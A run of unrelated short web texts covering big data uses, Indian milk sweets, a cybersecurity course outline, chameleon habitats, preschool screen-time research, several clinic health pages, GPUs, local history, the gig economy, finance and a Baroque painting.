The financial sector generates a ton of data. We’re talking petabytes of structured and unstructured data that, with the right tools, can be used to anticipate consumer behaviors and help financial services companies make better decisions. Big Data analytics in finance allows companies to create convenient, personalized products and services without compromising consumer security.
Financial decisions like investments and loans are now placed in the hands of AI, which uses machine learning technologies to process loan applications, evaluate potential investments, and calculate risk. For example, Big Data analytics can evaluate stock prices alongside social trends, economic factors, and the political landscape that might impact the stock market.
Additionally, data has made it easier for companies to detect and prevent credit card fraud, making it safer for consumers to make purchases online. Today, banks and credit card companies can use data analytics applications to detect anomalies, instantly freeze consumer accounts, and inform the customer about the breach.
Transportation and Logistics
On the transportation side, companies are gathering and analyzing telematics data from their fleets and applying those insights to improve driving behavior, optimize delivery routes for faster arrival times and better gas mileage, and to take a more proactive approach to vehicle maintenance. In the warehouse, you often see shelf-level sensors and digital cameras monitoring stock levels with programs that provide alerts when it’s time to re-order.
Big Data analytics also allows organizations to improve forecasting, as shelf-level data can be fed through machine learning algorithms to train an intelligent system to predict when to stock up on supplies.
Another one of the more notable Big Data analytics application examples is how data is used to transform sports marketing and gameplay. Professional teams are increasingly hiring machine learning experts to help them with everything from driving ticket sales to engaging fans as well as recruiting players and making on-the-field decisions. Away from the field, analysts, media outlets, and fans use sports data analytics to make predictions, inform fantasy league strategies, and offer play-by-play breakdowns of last night’s game.
For sports marketers and business leaders, Big Data analytics enables them to answer questions about sports teams and their fans. Like the retail sector, sports teams rely on analytical tools to learn more about their audiences and use insights to drive revenue.
In the education sector, Big Data can identify and improve teaching strategies to help students succeed academically. Big Data might also be used to measure teacher performance and ensure a positive learning experience for students. Teachers can be measured based on a range of variables such as subject matter expertise, student engagement, student performance, classroom demographics, and more.
In addition, the US Department of Education’s Office of Educational Technology is experimenting with Big Data analytics to prevent students from slipping through the cracks while learning online. The agency is using click patterns to detect boredom.
Higher education institutions are also increasingly experimenting—with systems that track things like when students log into an online learning portal, how much time they spend on different pages, and how they progress through their coursework. Given that most education happens online now due to the pandemic, we’ll likely learn a lot more about how people learn as more data becomes available. Long-term, this may lead to advances in personalized, adaptive learning experiences.
Social Media
For social media marketers, Big Data analytics is key in tracking campaign performance, researching competitors, and learning what makes their audience tick. Marketers can take that information and create audience segments, and then create personalized content that speaks to their unique needs—allowing them to anticipate needs and exceed expectations. It also allows marketers to test campaigns before launching, analyze test results, and make changes on the fly—potentially saving significant amounts of money on ad spend.
Big Data also helps marketers gauge brand sentiment, identify what types of content are most effective for engaging customers, and which platforms their audiences prefer. Additionally, Big Data analytics applications give social media marketers a big-picture understanding of what works and what doesn’t, and it allows them to incorporate those insights into future campaigns.
Wrapping Up
Ultimately, it’s clear that we’re well past the “Big Data hype cycle.” Companies now can track and analyze business data in real-time and at-scale—a capability that unlocks a long list of benefits, from faster innovation cycles and quick decision-making to better customer experiences and more efficient production lines.
Those still wondering whether Big Data analytics fits into their business strategy are losing ground fast, as early adopters continue to refine and evolve how they capture, access, and manage their ever-expanding data sets.
Data Science and Analytics are an essential craft in creating world-class digital products. Learn how 3Pillar can help you succeed in the digital economy.
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Often asked: How To Make Milk Mawa?
What is milk Mawa?
Mawa is another term for khoa or khoya, which denotes a milk byproduct that is frequently used in Indian desserts. Mawa is thicker than regular milk and has a consistency similar to that of ricotta cheese or paneer, another soft Indian cheese.
What is Mawa called in English?
Khoa, khoya, or mawa is a dairy food, originating from the Indian subcontinent, widely used in the cuisines of the Indian subcontinent, encompassing India, Nepal, Bangladesh and Pakistan. It is made of either dried whole milk or milk thickened by heating in an open iron pan.
Is Mawa and condensed milk same?
Condensed Milk:- Condensed milk is milk from which water has been removed. It is most often found in the form of sweetened condensed milk (SCM), with sugar added. It is similar to mawa but thinner than it. Also mawa has cream layers dissolved in it but in condensed milk addition of baking…
How do you eat Mawa?
Smoothen it into a laddu by just rolling it over in your palm! Best of all Indian sweet treats, this milk based sweet is a classic made during festivals, mainly during Diwali. Mawa is the basis for many traditional Indian sweets, among them burfi, a treat similar to fudge.
You might be interested: Readers ask: How To Make Whipped Cream From Milk Without Gelatin?
Is Khoya same as Mawa?
Khoya is dried evaporated milk solids commonly used in sweet Indian desserts, particularly in the Northern region of India. Khoya (or Mawa ) is made of either dried whole milk or milk thickened by heating it in an open iron pan.
What can be used instead of Mawa?
Granulated Khoya (Danedar khoya )
• Condensed milk (and omit sugar in the recipe)
• Powdered Milk mixed with heavy cream.
• Unsalted Ricotta cheese – Take two cups of ricotta cheese, cook it for about 10 minute in a non-stick sauce pan.
• Take milk powder.
• You might find something called Mawa powder in indian grocery stores.
Is evaporated milk same as Khoya?
Khoya or mawa recipe – step by step post on how to make khoya in the traditional way. Khoya also known as mawa or khoa is dried evaporated milk solids. the milk is slowly simmered in a large iron kadai, till all its moisture evaporates and it reduces to solids.
How do you turn milk into powder?
Perhaps not surprisingly, powdered milk is exactly what it sounds like. Milk that has been turned into a dried milk powder through an evaporation process. This is done by removing all of the liquid from the milk until just solids remain – which can be made into a powder.
Is Khoya a cheese?
Khoa is a milk food, made of either dried whole milk or milk thickened by heating milk in an open iron pan. It is similar to ricotta cheese, but lower in moisture and made from whole milk instead of whey. Chickna (“slippery” or “squishy”) khoya has 80% moisture.
You might be interested: What Is Name Of Process Of Conversion Of Milk Into Yoghurt Why?
What is Mawa cake made of?
This eggless mawa cake is a cardamom-spiced eggless buttery cake with a caramelized milky flavor. Made with mawa or khoya, whole wheat flour and butter.
What is meant by Maava?
noun. father-in-law. uncle.
Can you use condensed milk instead of Khoya?
What can I use as a khoya substitute? The best alternatives for khoya are milk powder, ricotta cheese, or condensed milk. For a more authentic option, you can also make khoya at home; however, this will require extra time.
What is Khoya powder?
Instant Khoya (Mawa Milk Powder ) Recipe (with Step by Step Photos) (2 Votes and 9 Comments) Cooking Basics. Khoya (khoa/mawa) plays an important role while making most of the Indian sweets (mithai). Traditionally, it is prepared by simmering the milk till almost moisture evaporates and reduces to solids.
Is Khoya good for health?
Is Khoya or Mawa healthy? Yes and No, depending on the health of the person. Made only from full fat milk and used as a base for Indian sweets. It is rich milky flavour to mithais and imparts a creamy texture to the mithai.
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Cyber Security VIT103
If you want to keep your computer software and hardware secure; you need to learn not only how to react to security threats - you must also condition yourself to react fast, before a threat takes hold and gets worse.
Owning a reference book; or having attended a conference lecture on cyber-security, simply does not do the job
Studying this course is a far better response to a problem that is increasingly important.
This course is broken into eleven lessons as below:
1. Introduction to Cyber Security and cyber attacks/defences
2. Vulnerability Assessment
3. Securing the facilities and networks
4. Securing your online digital footprint
5. Internet Security and Digital Certificates
6. Wireless Network Vulnerabilities, Attacks and Security
7. Firewalls, IDS and IPS
8. Cryptography
9. Access Control and Authentication
10. Cyber attack Disaster Recovery strategies
11. Ongoing Security Management
Course Duration - 100 hours
The goal of defence in cyber security does not mean that your system will never be able to be penetrated, but it does give less chance of it happening and minimizing the risk. The concept is that you should have more than one type of defence in place to prevent compromise by an attack. Because there are many different ways a system can be exploited, having more than one type of tool to protect your system can cover the flaws of the others.
There are several layers of security which need to be addressed in order to protect your system; covering physical, software and network security.
There is a lot to learn in this course; but being able to be cybersecure is not just a matter of having the facts to refer to. Often there is just not enough time to refer to the facts before an issue becomes critical.
A cybersecurity expert will react faster because important issues have become second nature to their way of thinking. This is where a course like this can take you much further than just reading a book.
The course starts by strengthening your capacity to think automatically about vulnerability assessment, and to help you to understand:
• The importance of identifying and classifying assets based on the value they offer for an individual or a business
• The threats these assets are exposed to
• The risk factor of these threats.
You will also learn about the most common techniques and tools available for performing vulnerability assessments, and the main differences between vulnerability scanning and penetration testing.
Your awareness of other issues not only increases, but strengthens in your long term memory as you progress through the set tasks and assignments.
As you approach the end of the course, you learn about the concept of cryptography and its terminology:
• Data Integrity: to ensure the data has not been modified;
• Data Confidentiality: to ensure the data can only be accessed by authorized users;
• Authentication: to confirm the identity of the users. (i.e. a user is who they claim to be).
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Chamaeleo Calyptratus Biotopes
A lot of confusion is spread over the cyberspace about where and how the Veiled chameleons live in fact. Even some quite reputable pages and sources are usually very inaccurate...
What is NOT RIGHT:
They live in a desert (they do not)
They live on a plateau (they do not)
They live on a coast (they do not)
They live on the tops of the mountains (they do not)
They live along the coast (they do not)
What is RIGHT:
The best term describing their biotope is WADI
It is a deep canyon with a non permanent river at the bottom overgrown with tropical lush vegetation in the rainy season and drying out in the dry season
Tjey inhabit niotopes where the water is abundant enough to allow trees to grow to several meters high and feen the air with enough moisture to provide fog and humidity raise upto 100% (dewpoint) each and every night regardless season.
The subtropical to tropical climate, with very specific regime of rain and temperatures:
Summer: Up to 40°C (104°F) at daytime; 22-25°C (72-77°F) in the shade, at night 17- 20°C (63-68°F)
Winter: Up to 22°C (72°F) at daytime, at night 7°C (45°F) dipping to 5°C (41°F) or even 0°C (32°F) sometimes
Rainy season: April to August
Dry season: September to March
Daytime: around 50% during wet season to below 20% in dry season. Nighttime: Up to 100 % all year
Author: Petr Nečas
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News Release
Increased screen time in preschool is linked to inattention
Peer-Reviewed Publication
Screen time above a two-hour threshold at five years of age is associated with an increased risk of clinically relevant externalizing problems such as inattention, according to a study published April 17 in the open-access journal PLOS ONE by Piush Mandhane of the University of Alberta, and colleagues.
Increased screen time in children has been associated with unhealthy dietary patterns, poor sleep quality, cardiovascular disease, and obesity. There has been a significant increase in screen options in recent years, from device choices to streaming content, with rising concern that screen time may have negative consequences for mental health. But there is relatively little research examining associations between screen-time exposure and behavioral development in the preschool years. Most studies have focused on school-aged children or have only considered traditional screen sources such as television viewing. To address this gap in knowledge, Mandhane and colleagues analyzed data from the population-based Canadian Healthy Infant Longitudinal Development (CHILD) birth cohort study to determine associations between screen time and behavioral outcomes at age five years.
Parents reported their child's total screen time including gaming and mobile devices and completed the Child Behavior Checklist when the child was five years old. Mean screen time was 1.4 hours per day at five years and 1.5 hours per day at three years. Compared to children with less than 30 minutes per day of screen time, the 13.7% who watched more than two hours each day were five times more likely to report clinically significant externalizing problems, and were 5.9 times more likely to report clinically significant inattention problems. Moreover, children with more than two hours of screen time per day had a 7.7-fold increased risk of meeting criteria for attention-deficit/hyperactivity disorder. According to the authors, the findings indicate that preschool may be a critical period for educating parents and families about limiting screen time and encouraging physical activity.
The authors add: "How much is too much screen time for children? Using data from a large Canadian cohort, we found that children with more than 2 hours of screen time per day had significantly more behavior problems at five years of age. Interestingly, the more time children spent doing organized sports, the less likely they were to exhibit behavioral problems. Taken together, our results support an active beginning for children with screen time replaced by more organized sports."
Citation: Tamana SK, Ezeugwu V, Chikuma J, Lefebvre DL, Azad MB, Moraes TJ, et al. (2019) Screen-time is associated with inattention problems in preschoolers: Results from the CHILD birth cohort study. PLoS ONE 14(4): e0213995.
Funding: This work was supported by: 1. The Allergy Genes and Environment Network of Centres of Excellence (AllerGen NCE). 2. Women's and Children's Health Research Institute. 3. The Canadian Institutes of Health Research (CIHR). The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript.
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• seoserviceusa94
Diplopia 101: Causes, Symptoms, and Treatment of Double Vision
Updated: May 29, 2019
Diplopia is a condition characterized eye exam miami beach with double vision of a singular object when patients focus on one. Although the condition is usually observed in older patients, it has been known to occur in children of young ages.
Often, it is a symptom of an underlying condition that may be neurological or ocular in nature and requires a thorough assessment in light of accompanying symptoms to determine what the real cause is.
The condition is caused by a misalignment of the eyes, due to degenerative or congenital factors and may affect one or both eyes depending on the type of Diplopia. However double vision doesn’t always mean that you have the condition, in some cases such as when an object is too close to the eyes; it’s absolutely normal to see double.
The Types of Diplopia
Diplopia can be characterized into two separate categories depending on whether or not it affects both eyes. There are:
· Monocular Diplopia
· Binocular Diplopia
· Physiological Diplopia
Monocular Diplopia
Monocular diplopia is rather rare, with lower reporting rates than binocular Diplopia. Although it is also characterized by double vision, it doesn’t occur because there’s something wrong with both eyes but rather with only one eye.
It can be caused by light diffraction, in the sense that the light passing through the pupils is not being focused onto your retina to form a proper image due to cataracts. Other causes of the condition include swelling of the retinal tissue or problems with the ocular cortex in the brain which causes image processing dysfunctions.
The treatment for Monocular Diplopia depends on the underlying condition causing the double vision.
Binocular Diplopia
Binocular Diplopia is the more common form of double vision, which usually occurs because of the misalignment of the eyes. People with Binocular Diplopia can see completely normally if they close one eye; compared to Monocular Diplopia where the eye itself malfunctions rather than image processing dysfunction due to coordination problems between the two eyes.
The condition is also usually treated with corrective lenses or surgical procedures which can ensure that the eyes are properly aligned.
Occasional, longstanding horizontal diplopia is usually non urgent in nature. However, any sudden onset of diplopia, especially if it is not a horizontal diplopia must be assessed immediately. Pathological diplopia include neuropathies due to diabetes or hypertension, strokes and aneurysms.
At Dr. Gilberg & Associates, we’ve been serving the North Miami area with top quality emergency eye care miami for the last ten years. We pride ourselves on providing state-of-the-art services and affordable medical treatments including contact lens examinations and digital eye exam miami to patients for a variety of eye-related problem. Learn more about our services here.
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Join date: May 4, 2022
No. Non alcoholic wine is made by fermenting the sugars in grape juice, just like with ordinary wine, and then the alcohol is removed by one of several processes (vacuum distillation, reverse osmosis, or spinning cone technology). It thus retains whatever nutritional benefits (or deficits) that the original wine had, less the alcohol, which are largely those of grape juice minus most of the sugar (which had been converted into the now-absent alcohol).
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What’s a GPU? Everything You Need to Know
what is a gpu
Before you can start playing the latest high-end video games or editing videos on your computer, you’ll need to have a good GPU. But what is a GPU, and what does it do? Here’s everything you need to know about GPUs, and how to find out what GPU you have.
What is a GPU?
GPU stands for Graphics Processing Unit. It’s the most important hardware component when it comes to computer graphics. A GPU is basically an electronic circuit that your computer uses to speed up the process of creating and rendering computer graphics. Your computer also uses it to improve the quality of all the images, animations, and videos you see on your computer monitor.
You can find a GPU in desktop computers, laptops, game consoles, smartphones, tablets, and more. Typically, desktop computers and laptops use GPUs to enhance video performance, especially for graphics-intensive video games, and 3D modeling software, like AutoCAD.
GPUs also make sure the images and videos on your computer monitor are displayed properly. Depending on the GPU, it can have a processing unit, memory, a cooling mechanism, and connections to a display device.
There are two common types of GPUs. The first type is called a dedicated graphics card, while the second one is called an integrated graphics processing unit.
Dedicated Graphics Card
(Image Source: Amazon)
A dedicated graphics card is known by many other names, including a video card, a display card, or a graphics adapter. With this type of GPU, you only need to insert the card into an expansion slot on the motherboard near the central processing unit (CPU).
Also, you can easily replace or upgrade a dedicated graphics card, as long as your motherboard has an expansion slot, such as a PCI Express or an Accelerated Graphics Port. This kind of GPU is more powerful because it comes with “dedicated” RAM.
If you want to know more about what RAM is, you can check our previous article.
Integrated Graphics Processing Unit
An integrated graphics processing unit or IGPU, on the other hand, is generally built onto a motherboard itself. This type of GPU comes in the form of a computer chip that looks very similar to a CPU. Also, you can find IGPUs that act as a CPU and graphics card at the same time.
Unlike a graphics card, an integrated graphics processing unit doesn’t have dedicated RAM, so it typically makes use of a portion of your computer’s RAM to work.
What Does a GPU Do?
The best way to understand what a GPU does is to imagine your computer as a brain. A GPU connects to your computer’s motherboard, and it generates output images and videos that are sent to your computer monitor, the same way an eye connects to the brain and feeds visual cues from the outside world.
What is the Difference Between a GPU and a CPU?
A CPU is responsible for processing visual information from your GPU, just like how the brain is responsible for translating the images the eye sees into something meaningful. Since the CPU controls your entire computer, it is the most important part of the system.
If you want to know more about what a CPU is, check out our previous article.
How to Find Out What GPU You Have on a Windows 10 PC
To find out what GPU you have on a Windows 10 PC, click on the magnifying glass icon in the bottom-left corner of your screen and type Device Manager into the search bar. Then click the arrow next to Display adapters to see the name of your GPU.
1. Open the Windows Search Bar. This is the button with a magnifying glass icon in the bottom-left corner of your screen.
2. Then type Device Manager. Once you’re done typing, just press Enter.
3. Click the drop-down arrow next to Display adapters. Once you click the drop-down arrow to the left of Display adapters, the name of your graphics card will appear under the “Display adapters” heading.
How to Find Out What GPU You Have on a Mac
To find out what GPU you have on a Mac, click the Apple icon in the top-left corner of your screen and click About This Mac. Then you will see your GPU’s name next to Graphics.
1. Click the Apple logo in the top-left corner of your screen. After clicking it, a drop-down menu will appear.
2. Then click About This Mac.
3. You will see your Graphics card model next to Graphics.
How to Find Out What GPU You Have on a Mac
If you want to know more information about your Mac’s GPU, click the System Report button at the bottom of the window. Then select Hardware > Graphics/Displays from the right sidebar. You will see more details about your graphics card on the right side of the screen.
If your graphic card is not sufficient to play your favorite games, check out our article on the best gaming laptops here.
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• Historic Columbus
Preservation Spotlight #8 - Anderson Village
Built in the 1940’s and 1950’s as an answer to a housing shortage related to returning soldiers from World War II, Anderson Village was comprised of 169, small two and three bedroom brick cottages. The cottages were sited close to each other and the neighborhood centered on a park in the middle of the development. Many of the residents of the neighborhood worked in the adjacent Anderson Mill (later Meritas Mills) or the Bibb Mill located on the banks of the Chattahoochee River at 38th Street.
Uniquely, the houses in Anderson Village were constructed of solid brick rather than a veneer on a wood frame due to a lumber shortage resulting from wood being needed during the war effort. Another interesting piece of history related to the housing is that all of the homes were owned by the Bibb Manufacturing Co. until 1964. City Directories show that between 80 – 90% of the tenants became homeowners when the Bibb Manufacturing Company offered the homes for purchase. On average, the homes sold for $6,000.00 at 6.5% for 20 years. The average house payments were around $40 per month.
One of the suspected reasons for disposing of the company housing was likely pressure from the Federal government to integrate housing. Even by the 1960’s no African Americans had been given the opportunity to live in Anderson Village, even if they worked at the mill. So, in opposition to integrating the housing, the company chose to sell the homes to private buyers.
Today, there are many homes in Anderson Village that retain their original footprints. The houses remain affordable and efficient. Local housing developer Neighborworks Columbus is working to renovate some of the long vacant homes and help place affordable mortgages on them for new owners. Additionally, Neighborworks is putting the final touches on a new multi-family development on the site of the Anderson Mill. The project is set to be complete in the next few months.
If you are able, please consider joining or making a donation to Historic Columbus. Your contribution will increase heritage education programming in our public schools and preservation projects along the Second Avenue corridor, the original city, City Village, Waverly Terrace, and MidTown Columbus. These are the places where your gift can make a transformational difference in a child’s sense of place and strengthen our neighborhoods one house at a time.
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A poster showing the phrase "The Gig Economy"
Artur Szczbylo/Shutterstock
The “gig economy” is a buzzword on the news and in everyday conversation. It refers to the rise in contracted work—or “gigs”—that aren’t traditional jobs. Ridesharing, food delivery, dog walker, and writers are part of this economy.
An Economy of Contracted or Independent Work
The “gig economy” is a phenomenon defined by a rise in independent or contracted work. According to a Marist poll, one-fifth of American jobs are contracted right now, and half of the US workforce could find themselves doing contract or freelance work over the next decade.
But what is an independent contractor? Think of construction, web design, freelance writing, or Uber driving. Workers in these fields aren’t legally defined as “employees.” Instead, they work under contracts or operate their own business as an independent worker.
To some people, the rise in contracted work comes as no surprise. We’ve spent the last decade recovering from a recession, so our workforce is bigger than it was a decade ago. And of course, there’s the internet. The internet’s made it super easy to hunt down contracted work (especially short-term work), and the rise of internet content, like YouTube videos (or the article you’re reading right now), has created a demand for writers, creatives, web designers, and programmers.
But the internet’s impact has managed to reach beyond trades like writing or home repair. It’s extended to traditionally low-income jobs with a low barrier to entry, like delivery driving or taxi driving.
And that’s really what defines the gig economy: the rise of companies like Uber, LyftBiteSquad, and Instacart that use contractors to drive people, delivery food, and groceries around. These companies have revolutionized low-income jobs, which is why people talk about them so much. They also give us a glimpse at how the gig economy might affect jobs in the future, assuming that other industries might switch over to contract-based employment.
The Gig Economy Is a Lifeline for Some Families
A couple of food delivery workers in Italy. They work for the Italian equivalents of companies like BiteSquad.
Contracted work has its perks. You can figuratively “be your own boss,” work around your schedule, or build a business based on your trade experience. You can even use contracted work as a side-job for when times are tough, or for when you’re busy going to school.
Some (but not all) of these perks carry over to the contracted jobs from Uber or Instacart, which have helped to expand the American workforce and provide economic security for some American families.
Gigs like driving for Uber are great for people who can’t find traditional full-time employment due to inexperience, lack of education, or disabilities. They’re also great for people who need a flexible side-job or a temporary full-time job, as they allow you to work as much or as little as you’d like.
This is the main reason why people talk about the gig economy so much. Contracted work with a low barrier to entry is helpful to low-income families, and it’s helped to expand the workforce in ways that traditional employment cannot.
Of Course, the Gig Economy Isn’t Perfect
A car with the Uber sticker on its back window.
Jeramey Lende/Shutterstock
The gig economy is helpful to some families, but its gotten a lot of press for its flaws.
Again, the biggest strength of Uber, Lyft, and Instacart is that they’re flexible low-income jobs with a low barrier to entry. But that can also be seen as a flaw. Independent contractors don’t have the rights of full-fledged employees, which means that the 15.8 million Americans who work a “gig” full time aren’t guaranteed a federal minimum wage or employer-provided health insurance. They have to pay the total cost of payroll taxes for Social Security and Medicare, too. Laws that are meant to protect low-income workers only apply to jobs, not gigs where you’re technically “working for yourself” even if all you do is drive for Uber.
That’s not a big deal when you’re working in a trade like construction or freelance writing, where the skills that you develop working can lead to better opportunities and financial security. But it is a big deal when you work full-time at a low-income gig like Uber, which has no opportunities for upward mobility. Understandably, some people get stuck in these jobs, and they start to feel exploited over time.
This isn’t the only issue that people have with the gig economy, but it’s a common complaint that keeps pushing the words “gig economy” into the news. And of course, there’s no easy fix. Modern taxi and delivery services rely on contracted work for their success, and some people are happy working in the system just how it is.
All in all, the words “gig economy” are used to describe a general rise in contracted work, with a particular focus on new low-income jobs like driving for Uber or grocery shopping for Instacart. These new jobs (and the gig economy as a whole) are often praised for acting as a financial lifeline, but they’re also routinely criticized for being exploitative.
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Patellar dislocation.jpeg
Patellar Maltracking
Patellar maltracking is a common condition causing knee discomforts, tightness, and pain during walking or activity.
Patellar maltracking means that the kneecap at the front of the knee does not move in a normal straight line. This is however, a simple way of explaining this condition, as Patellar maltracking is actually due to complex bony and soft tissue interactions.
What does Patellar Maltracking mean again?
The patella refers to the kneecap bone which is at the front of the knee. In normal situations, the kneecap moves in a relatively straight up-down line as a person bends and straightens his knee.
Patellar Maltracking means that the kneecap shifts to one side instead of moving in a straight line.
What symptoms does maltracking produce?
The person may feel:
- discomforts and pain at the front of the knee after walking a lot, running, jumping, or doing squats
- the kneecap is loose and weak
- clicking or rubbing sensation as the knee is moved
- in more severe cases, the kneecap can dislocate and cause pain and swelling of the knee
- in some patients, the kneecap can dislocate again and again! Read about kneecap dislocation here.
What causes maltracking?
As mentioned, maltracking actually arises from a complex interaction of bony and soft tissue factors. Soft tissue factors that produce maltracking may be:
- looseness of knee joint ligaments
- tightness of Ilio-Tibial band
- weak quadriceps muscles
Bony factors may include:
- trochlear dysplasia
- excessive femoral anteversion
- lateralisation of the tibial tubercle
In short, many of these are complex structural factors that a person may be born with.
I have knee pain and I have maltracking. What happens if I do not treat it?
Maltracking can cause persistent knee pain and cartilage damage in the long run if it is not treated. The abnormal movement of the kneecap causes altered loading forces on the kneecap cartilage that may cause cartilage damage and arthritis in the long run.
What treatments are there for maltracking?
You will need to have your knee assessed by an Orthopaedic specialist experienced in such issues to diagnose and understand your condition. An MRI scan is a useful adjunct to understanding the condition, but is not the main way by which maltracking is diagnosed. This is because maltracking is a dynamic condition that occurs with movement, whereas MRI is a scan of a static knee.
If it is an issue of weak muscles or loose medial ligaments, Physiotherapy may improve the condition. Sometimes, oral cartilage supplements are added if there is already some damage to the cartilage due to long-standing maltracking. A patellar knee brace may help reduce symptoms during sports or exercise.
If it is an issue of tight ilio-tibial band that is not responsive to physiotherapy, Arthroscopic (Key-Hole) surgery will treat the condition definitively. If it is underlying bony factors that lead to maltracking, surgical intervention may also be considered.
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Roles of Finances
Finance plays many diverse roles in the human life. Let's see at least the most important ones.
The most obvious role of money is to serve as a universal equivalent in exchanging the goods and services.
This role is not the only one, however. Money is the information about the equivalents of exchange, about the comparative role of various values in society. (This idea was “borrowed” from Boris Zlotin, my TRIZ teacher). Interestingly, these “relative courses of values” are most often established spontaneously, i.e. not by “will” and conscious effort, but rather by some objective processes. Back in the Soviet times, there was no officially acknowledged inflation in the country. However, one economist found a universal indicator of inflation: a glass of sunflower seeds. Sunflower seeds were the product with an established demand and market. The technology for growing, harvesting and roasting has been well-developed. In short, all factors were within tight tolerances, even the price was the same across the entire Soviet Union: 10 kopeks (pennies) for a big glass, 5 pennies for a small glass. Only the size of the measuring glass changes. The smaller the glass was, the less the same five-penny coin value was in the country!
Another, again informational, role of money is a “credibility”. The English word credit means trust. How much can you trust this or that person? How much can you trust the promises of a company? It turned out that trust has a fairly clear quantitative measure, the monetary one: how much resources a society can trust to a person or company to implement their plans. Therefore, the stock exchange is such a reliable indicator of public confidence in a particular industry or company, therefore the “credit account” clearly separates those who can be trusted from those who cannot.
Back in 90-s I read an article about Bill Clinton’s attempt to reform the US tax system. The author wrote that the tax system reflects “what is desirable and what is not for society”, and accordingly, taxes encourage or punish various types of activities of individuals and organizations. Hence, the tax system in a fairly complex society must be commensurately complex, otherwise the society will lose a very strong, but “soft” regulatory mechanism. Here is another, imperceptible, but no less important informational role of financial systems: to make it clear to citizens and organizations which types of activities the government considers useful or harmful for society.
True, people impose on money another information function, "an indicator of status in society." I will not argue about the correctness and reliability of this information, I just note that such a function is performed by universal equivalent of exchange.
On the other hand, it is noted that the financial system in any more or less developed society is becoming more and more unstable, i.e. on the one hand, more mobile and with great capabilities, but, on the other hand, more sensitive to dangerous pre-crisis fluctuations that cannot be detected by any other “radars”.
If we admit that a systemic crisis, unlike the other two types of crisis, starts with the gradual loss of consumers' subconscious confidence in the capabilities of the old paradigm to further satisfy their needs better and better, it is not surprising that the confidence indicator is the first to respond to this growing distrust. Finance, as we saw, serves as such confidence indicator. And therefore, every time a systemic crisis approaches it is this financial (economic) system is the first to react and give everyone a danger signal. As a result, it seems to everyone that every systemic crisis has an economic nature. As you could see, this is nothing else but a fallacy when the “visible” part of crisis is taken for its root cause.
The instability of the financial system lies, for example, in the fact that banks, while issuing loans, are not required to keep in their vaults the full amount to cover the debt, only 10%. When social mechanisms work fine, this is enough for stability of the system. Moreover, this approach allows people to invest in growth and development much more than the amount of cash in bank vaults. On the other hand, with the slightest imperceptible failure in social mechanisms, this unstable model begins to fail first, thereby giving an alarm. It is the same with other economic mechanisms: just like the immunity system in our body at the slightest danger alarms us with pain, temperature, etc., so the economic mechanisms are responsive to fluctuations in consumer confidence in a particular industry.
Should the Financial Crises Be Avoided? | Financial and Systemic Crises | What to Do When Crisis-Caused Crash of Finances Happens?
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Biliary Colic
What is Biliary Colic?
Biliary colic, also known as gallbladder attack, is a steady or intermittent pain in the upper abdomen, usually under the right side of the rib cage. It mainly occurs when gallstones temporarily bl...
The person suffering from biliary colic complains of an ache or pain in the upper-right part of the abdomen. In some cases, this pressure can spread towards the back of the right shoulder. Other symptoms include:
• Nausea.
• Vomiting.
Biliary colic is a steady or recurrent ache in the right upper part of the abdomen. The main reason for such pain is gallstones. If the gallstones block either of these ducts, the flow of bile into the intestine can be disrupted.
The main risk factors associated with an increased risk of cholelithiasis include:
• Aging.
• Increasing body weight.
• Highly among female.
• During pregnancy.
• Medication such as oral contraceptives.
• Family history.
• Haemolytic disorders.
To prevent gallstones pain, one should take the following prevention:
• Maintaining a healthy lifestyle.
• Avoiding fatty food and high-fat dairy products.
• Dietary modification.
How is it diagnosed?
At Medanta, our doctor will diagnose by:
How is it treated?
A health care provider will give medication and encourage to eat a fat-free diet. If the condition of biliary colic is repeating in a more severe form, then the gallbladder needs to be removed by surgery. A laparoscope is used for this purpose.
How does Medanta provide care?
Consult with experienced doctors
• Have a question?
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What we're about
Importance of Data Science with Cloud Computing
Data science and cloud computing essentially go hand in hand. A Data Scientist typically analyzes different types of data that are stored in the Cloud. With the increase in Big Data, Organizations are increasingly storing large sets of data online and there is a need for Data Scientists.
Let us look at the types of data that a data scientist is likely to work in the cloud:
Look at structured, semi-structured and unstructured dataLook at varied sets of data, irrespective of the size, format, etc.Analyse them to draw insights
However, the problem with such data is, it often sits in disparate silos. Given that the storage is now much cheaper, and the open source platforms and tools are available for data scientists, cloud is the key.
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Joseph and Potiphar’s Wife
Updated: Jul 27, 2020
Oil on canvas, 1640, by Paolo Finoglia (1590 – 1645) or 1623, by Artemisia Gentileschi (1593 – 1656)
That there is some debate over the exact authorship of this painting only adds to the dual prescience of its meaning today. It is, fundamentally, either by a male artist or a female one. The subject it depicts is of both a male and a female. They are engaged in a contentious standoff. One is innocent, the other guilty. One a victim, the other a predator. But which? The painting presents a classic paradox: it is both emblematic of aggression and empowerment, entrapment and liberation, depending on how it is perceived and depending on whether Finoglia or Gentileschi authored it. Or is it? Indeed, the fact that it is riddled with ambiguity and could arguably have been conceived by either artist with either intention in mind grants the painting a curious and fascinating power. It is, essentially, about the proliferation of interpretation which can arise from one isolated incident. Therefore, it is “total art.”
From Genesis chapter 39, we read of the attempted seduction of Joseph by Potiphar’s wife. The youthful and attractive Joseph (“of beautiful form and fair to look upon”) had been entrusted by Potiphar – head of the Egyptian palace guard – to work in his household. From his origins as a lowly slave, this was some feat of reinvention. Potiphar’s wife is bored and frustrated: no doubt old man Potiphar is out all day bossing up palace security, leaving her alone and neglected in a big, lonely Nile-side mansion. To add, Potiphar is likely to be (we can imagine) somewhat older than Mrs Potiphar (curiously never named in biblical text, although later ascribed the Hebrew name Zuleikha) and a dour, impotent, curmudgeonly bore. Assumptions aside, she is at least to some extent in a position of considerable subordination to her powerful husband, just as she is to all men of his station. Of course she becomes infatuated with the youthful servant who attends her daily, as do her bitchy aristocratic Egyptian lady friends, who she invites over to gaze on Joseph as she has him parade up and down in a loin cloth serving drinks on a tray. Legend has it that Zuleikha gave her guests oranges and knives just before summoning Joseph. So enamoured were they all with his bashful beauty, they all ended up forgetting what they were doing and cutting themselves to shreds. Needless to say, Zuleikha was never mocked again in high society for indulging in what merely amounted to the fantasies of a bored, repressed housewife. (Hence, a feminist reading of the attempted seduction tends to vindicate Zuleikha for seizing the initiative, liberating herself from patriarchal suppression and attempting to empower her sexuality.)
